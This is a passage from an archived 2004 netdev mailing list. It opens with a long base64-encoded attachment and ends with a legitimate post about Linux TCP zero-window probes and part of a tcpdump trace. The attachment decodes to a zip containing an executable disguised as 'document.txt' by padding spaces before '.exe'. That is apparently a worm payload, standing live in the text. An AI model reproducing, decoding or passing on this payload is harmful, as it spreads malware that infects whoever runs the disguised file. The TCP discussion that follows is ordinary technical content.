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 hr1F1Z0L4LMy/D1TdRKiboX90U7YbI0+3CNbP95NhvwsFGUAdnDgJ3o8MVLhj+hfY0kyWTLs WuuWrpAb1MzqNVUgqAQE9rxI+ByKZVM47P26XHmI9uAHO6prbj41SY/pSgmV+99Ee4QkwM/z lLW1QuBkLn169pqrj4F8nBltfgFU9rU4XwclNrVWiK29r0uQ3oDaZ/fPHWD+HkL6WOO+s2kN jqtr4MPShAE9H6PIt4U84QQWZRaXBs9jSYJ5UlcQEXyqsO1/XEV56HeOAa8Ao2OrNPKMchH2 y3kYsYVcUoe2aBEJu4X4kClp810CORxG802+Y3LIxEF3xwtimsvaAN6tmum8rq03cHX0JQbJ BNPaVJP/QGdOJGqQHfrNwKV17z/c/04iNTyP4uZ/odsoVdMCOuNA7JkwySHGfk+/vPqYpFI+ x8Z//1JMYQzlIWkG94unNI2y/jbOdccWAq7Hyjtj3zzAmk/sAvKfARF6CHVvdW94Dh5+DIzB eEV1tUKXJsKDVpvJT19RRm2ZI42dMxipmdCMI5zpSxIhJgB47RjB4E8g/BCnyq8LQDgjDqoQ CMGJZhwX3/t1Jkp8DiwDuJzy91dlG2OF+pv79CVJJ16IW1nrfx2FmmyWfGus7JYKRAL3O/lO ETVz6Gr2COCfONzVqqFNw2A6jh09IpEcZIQrVuLGc5IzA2vbB7zi00bKmEpRl6QPi44TBhjQ 0nvkKc6250JZ0KgY0MUArHrJIf204NYzS6kNHSp6kt01sh3idEuPAAABAAIAICAQAAEABADo AgAAAQAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAzP//AGhXWAAA AAAAgICAAP///wDAwMAA/wAAAAD//wC/AAAAAAD/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACIhEiIiIiIiIiIiIiIiIiIiITVVVVVVVVVVVVVVJSIiIiNERERERERERERERFJSIiIjRERE REREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERERESVRERJVFJSIiIjRIiIiIhESVVV WVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJVFJSIiIjRERERERERESVSVRSUiIi I0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIjRIiIiIiIiIhESURSUiIiI0RERERE REREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhE UlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERSUiIiI0Q5kkRCREREREREUlIiIiNE MiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0QyIndyRIiIiIhEUlIiIiNENEJ3ckRE RERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiREREREREUlIiIiNEMzIiIkRERERERFJS IiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIiIiNCRCRCRCRCRCRCRDJSIiIiJDND NDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAA B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH+AAAD/////+hHOgwQAFp wP1DA8AFwzieJiijEAPB+BAl/3+HAMOLRCRVBBLpVezsUQdTVlcz/zGJffzUFRxgICiL8GjI wDcPt0UIUGRWJhgh2FORFRQyUA4QITvHiYo8dCoWEQwNV2iArMBqAvGwEhFA/3VsDIo0CIiD +Pu/VAF1BDPA60HQ2zsD93YY6GH/HAKZuRsBUvH5i4CMMBQDQzveHnLojcz8V+F1bAh9eASK LgkRZ3o5sfwPlNhfXilbybIcgYxkDHxWcL5gBAxXjYWcb/OiplBqYCkVLKwNPSgNiCzg+06M 1xS8RvcAgH3+XIs1JMU9v+BF4XQKIiVXBdYhCmjQsC8dgL3ciVyhQjwgIf414aE5EDRhMAlq Zegyu/4QWZM/vQqDUI7KJpEgQbAGr3JECGrbBSjERqPkH8gWPIk9tyMtdFMUNOhsRXZ1IsYD FTg1fFBRWhIJdViWhRLAdAVUTRNGFSM0ERR1GQ9qAecwSBIC9NCQMTDCEAC0ODBAMpAJdCQQ Q1UnbJfOjmnPbQphCJ92j2Ug70Xvbu9j73LveexwK2X8ZM8mV+1vI5tMRA3WL+UWFM0wYkqf ClPZa1lOsydcLvND81p2M6gxcCr/w4U8NWSnLrhTDspGgZ9nmWgVc/lCVJEOhGsZA3X4ZXL2 bwBuZmlnOXguZHFs4RBCSU4YQVJZEEZWA1Byb3RlY5suo3i2MWBcAADgAeAC4CDiEM4RBA3o Fr4RfaQOeyiDRiIBjCgJEIkgFkmJFMDCnwEVgANvCBQHkAJmE8AC0BAJcFX/A7wIUgdBAgYT Co5CKAF3AWxwECif0QQIEHmZg/RE9/0mECKEEOL3jtACEJyRT70YCPCrARnSD48DgFx4wFQH sAOtBFIDOOqvAAAB4CBwQA5LRVJOYEwzMi5kcWzgRuhvBnNlSGFuGO3AWnI+aXQ6Rm4Vvr8p YQscQR1Wn3pHb2ZS53NRdXJjnzZPOqlrDWJhZBYQSWlutm56Sj10Tb5kKWxdsyJG8XB5SVKb 5HRGRMAkV8Frb3dzRN8+5GP56nmlOaAtFE5hbUyGUHLw8mTjnExzanYfTGliO1MvPlRQk0PP 7m40DRhMYbxFctxc68WMTXUIeMxOAwAAAAAAAAAAAAAAAABQSwECFAAKAAAAAAAOIqQwo4gd 3oBzAACAcwAAUwAAAAAAAAAAACAAAAAAAAAAZG9jdW1lbnQudHh0ICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5l eGVQSwUGAAAAAAEAAQCBAAAA8XMAAAAA ------=_NextPart_000_0016----=_NextPart_000_0016-- From mikulas@artax.karlin.mff.cuni.cz Tue May 4 08:05:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 08:05:54 -0700 (PDT) Received: from artax.karlin.mff.cuni.cz (postfix@artax.karlin.mff.cuni.cz [195.113.31.125]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i44F5dKO005421 for ; Tue, 4 May 2004 08:05:39 -0700 Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421) id A2370416A; Tue, 4 May 2004 16:26:13 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id A11D34169 for ; Tue, 4 May 2004 16:26:13 +0200 (CEST) Date: Tue, 4 May 2004 16:26:13 +0200 (CEST) From: Mikulas Patocka To: netdev@oss.sgi.com Subject: TCP hangs --- zero window probes Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5016 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mikulas@artax.karlin.mff.cuni.cz Precedence: bulk X-list: netdev Hi This is tcpdump of hung TCP connection (from paranoia.kolej.mff.cuni.cz's point of view). It looks like Linux did misbehave. 213.29.7.213 is a Linux box. (don't know which version, I have no access to it). paranoia.kolej.mff.cuni.cz is stack that I wrote myself. Linux is sending only ACKs without any data as zero-window probes. My stack ignores them. People at IETF tcp mailing lists told me that it's linux bug, that window probe must contain some new data. Is it known bug in Linux? What workaround do you suggest? Mikulas 16:34:49.832097 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: SWE 1711254266:1711254266(0) win 8192 16:34:49.838957 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: S 1163781419:1163781419(0) ack 1711254267 win 5840 16:34:49.838968 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 1 win 8 16:34:49.840002 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P 1:500(499) ack 1 win 8 16:34:49.847349 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . ack 500 win 6432 16:34:49.863592 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 1:1461(1460) ack 500 win 6432 16:34:49.863651 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 1461 win 6 16:34:49.867490 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 1461:2921(1460) ack 500 win 6432 16:34:49.867558 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 2921 win 6 16:34:49.871498 IP 213.29.7.213.http > paranoia.kolej.mff.cuni.cz.65461: . 2921:4381(1460) ack 500 win 6432 16:34:49.871567 IP paranoia.kolej.mff.cuni.cz.65461 > 213.29.7.213.http: P ack 4381 win 5 16:34:49.872729 IP 213.29.7.213.http > 